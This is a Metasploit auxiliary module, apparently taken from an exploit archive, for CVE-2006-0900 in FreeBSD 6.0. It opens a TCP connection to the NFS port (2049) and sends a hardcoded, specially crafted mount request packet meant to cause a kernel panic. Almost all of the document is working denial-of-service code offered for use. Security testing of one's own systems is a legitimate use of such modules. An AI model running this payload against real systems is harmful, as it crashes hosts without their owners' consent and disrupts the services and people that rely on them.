FreeBSD Remote NFS RPC Request Denial of Service

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Tcp  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'FreeBSD Remote NFS RPC Request Denial of Service',  
'Description' => %q{  
This module sends a specially-crafted NFS Mount request causing a  
kernel panic on host running FreeBSD 6.0.  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'BID', '16838' ],  
[ 'OSVDB', '23511' ],  
[ 'CVE', '2006-0900' ],  
]))  
  
register_options([Opt::RPORT(2049),])  
end  
  
def run  
connect  
  
pkt = "\x80\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02"  
pkt << "\x00\x01\x86\xa5\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00"  
pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04"  
  
print_status("Sending dos packet...")  
  
sock.put(pkt)  
  
disconnect  
end  
end  
`